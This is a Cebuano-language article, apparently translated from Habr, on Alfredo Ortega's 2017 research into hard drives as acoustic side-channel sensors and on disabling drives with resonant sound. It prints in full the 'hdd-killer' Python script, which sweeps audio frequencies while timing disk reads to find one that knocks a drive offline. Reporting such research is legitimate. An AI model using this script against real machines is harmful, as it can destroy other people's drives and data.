Nganong dili ka makasinggit sa imong HDD

Nganong dili ka makasinggit sa imong HDD

Sa komperensya sa seguridad sa kompyuter sa Ekoparty 2017 sa Buenos Aires, ang hacker sa Argentina nga si Alfredo Ortega nagpakita usa ka makapaikag kaayo nga pag-uswag - usa ka sistema alang sa tago nga wiretapping sa mga lugar nga wala gigamit ang mikropono. Tingog direkta nga girekord sa hard drive!

Ang HDD nag-una nga nagkuha og high-intensity low-frequency sounds, footsteps ug uban pang vibrations. Ang sinultihan sa tawo dili pa mailhan, bisan kung ang mga siyentista nagpahigayon og panukiduki niini nga direksyon (pag-ila sa sinultihan pinaagi sa low-frequency vibrations, nga girekord, pananglitan, gikan sa gyroscope o HDD).

Ang tingog mao ang vibration sa hangin o laing medium. Ang usa ka tawo nakasabut niini pinaagi sa eardrum, nga nagpasa sa mga vibrations sa sulod nga dalunggan. Ang mikropono gidesinyo nga halos sama sa usa ka dalunggan - dinhi, usab, ang mga vibrations girekord sa usa ka nipis nga lamad, nga nagpukaw sa usa ka electrical impulse. Ang hard drive, siyempre, gipailalom usab sa microscopic vibrations tungod sa pag-usab-usab sa hangin sa palibot. Nahibal-an kini bisan gikan sa teknikal nga mga kinaiya sa mga HDD: ang mga tiggama kasagarang nagpaila sa labing taas nga gitugot nga lebel sa pag-vibrate, ug ang hard drive mismo kanunay nga mosulay sa pagbutang niini sa usa ka sudlanan nga wala’y vibration nga hinimo sa goma o uban pang materyal nga insulating. Gikan niini dali nga makahinapos nga ang mga tunog mahimong marekord gamit ang HDD. Ang nahabilin mao ang paghunahuna kung giunsa.

Gisugyot ni Alfredo Ortega ang usa ka talagsaon nga bersyon sa pag-atake sa kilid nga channel, nga mao ang pag-atake sa oras. Kini nga pag-atake gibase sa pangagpas nga lain-laing mga operasyon ang gihimo sa device sa lain-laing mga panahon, depende sa input data nga gihatag. Sa kini nga kaso, ang "input data" mao ang mga vibrations sa pagbasa sa ulo ug sa HDD platter, nga may kalabutan sa mga vibrations sa palibot, nga mao, sa tingog. Sa ingon, pinaagi sa pagsukod sa oras sa pagkalkula ug paghimo sa usa ka istatistikal nga pagtuki sa datos, ang mga vibrations sa ulo / platter ug busa ang mga vibrations sa medium mahimong masukod. Kon mas dugay ang paglangan sa pagbasa sa datos, mas kusog ang mga vibrations sa HDD ug, busa, mas kusog ang tingog.

Giunsa pagsukod ang vibration sa hard drive? Yano kaayo: pagdagan lang ang tawag sa sistema read () β€” ug irekord ang oras nga gikinahanglan aron makompleto. Gitugotan ka sa modernong mga operating system nga mabasa ang oras sa mga tawag sa sistema nga adunay katukma sa nanosecond.

Ang katulin sa pagbasa sa impormasyon gikan sa usa ka sektor nagdepende sa posisyon sa ulo ug platter, nga may kalabotan sa mga vibrations sa HDD case. Mao ra.

Ang pagtuki sa estadistika gihimo gamit ang usa ka yano nga gamit sa Kscope. Sama sa ilang giingon, ang tanan nga mamugnaon yano ra.

Nganong dili ka makasinggit sa imong HDD
Kscope utility (stat() syscall)

Ang Kscope usa ka gamay nga gamit alang sa paghanduraw sa gagmay nga mga kalainan sa mga oras sa pagpatuman sa tawag sa sistema. Tinubdangipatik sa GitHub.

Sa usa ka bulag nga repositoryo Panahon sa HDD adunay usa ka bersyon sa utility nga gi-configure alang sa usa ka oras nga pag-atake sa hard drive, nga mao, gi-configure aron analisahon ang tawag sa sistema read ().

Pagpasundayag sa sound recording gamit ang HDD, operasyon sa Kscope utility


Siyempre, ang sinultihan dili masabtan sa ingon niini nga paagi, apan ang HDD angayan ingon usa ka sensor sa vibration. Pananglitan, mahimo ka magparehistro kung ang usa ka tawo nga nagsul-ob og gahi nga sapatos o nagtiniil misulod sa usa ka kwarto nga adunay kompyuter (tingali, kung ang tig-atake nagsul-ob og humok nga mga sneaker o adunay baga nga karpet sa salog, ang HDD dili makarehistro sa mga vibrations - kini angay nga susihon). Ang kompyuter makahimo sa pagrehistro sa nabuak nga bildo o uban pang mga insidente nga adunay kusog nga tingog. Kana mao, ang hard drive mahimong magsilbi nga usa ka matang sa dili awtorisado nga sistema sa pag-ila sa intrusion.

Mamatay sa HDD

Pinaagi sa dalan, ang usa ka susama nga teknik mahimong magamit aron ma-disable ang mga hard drive. Dinhi lamang wala namo kuhaa ang mga oscillations gikan sa HDD, apan sa kasukwahi, nagmugna kami og mga oscillations nga gipakaon sa HDD. Kung magdula ka ug tunog gikan sa usa ka mamumulong sa usa ka frequency nga nagbag-o sa frequency sa HDD, ang sistema sa dili madugay mapalong ang aparato nga adunay sayup nga I/O (ang Linux kernel hingpit nga gipalong ang HDD pagkahuman sa 120 segundos). Ang hard drive mismo mahimong mag-antus sa dili mabalik nga kadaot.

Nganong dili ka makasinggit sa imong HDD
Gipalong sa kernel sa Linux ang hard drive human sa 120 segundos sa paghatud sa tingog sa usa ka resonant frequency pinaagi sa speaker sa Edifier r19u USB speaker. Ang mamumulong gi-on sa hapit usa ka quarter nga gahum (ubos sa 100 mW) ug nahimutang 20 cm gikan sa HDD, nga gitumong sa lamesa aron madugangan ang mga vibrations. Frame gikan sa video uban ang usa ka demonstrasyon sa HDD killer

Makapaikag nga ang ingon nga "mga pag-atake" sa mga HDD usahay mahitabo sa hingpit nga aksidente sa adlaw-adlaw nga kinabuhi. Pananglitan, niadtong Septiyembre 2016, ang data center sa ING Bank napugos sa pagsuspenso sa mga operasyon sulod sa 10 ka oras human sa fire drill. Daghang mga hard drive ang napakyas tungod sa kusog nga tingog sa inert gas nga gipagawas gikan sa mga silindro ubos sa taas nga presyur. Ang tingog kusog kaayo (labaw sa 130 dB), apan dili ka gani makasinggit sa mga hard drive - kini nagdugang sa paglangan sa pag-access sa HDD.

Pagpakita sa tawo nga nagsinggit sa mga hard drive sa usa ka sentro sa datos. Pagsukod sa latency


Aron makamugna ang naglanog nga tingog, si Alfredo Ortega misulat ug Python script nga gitawag hdd-killer (pasundayag sa video).

HDD killer script Gamay ra kini, mao nga mahimo nimong imantala kini sa kinatibuk-an dinhi.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Idugang sa usa ka comment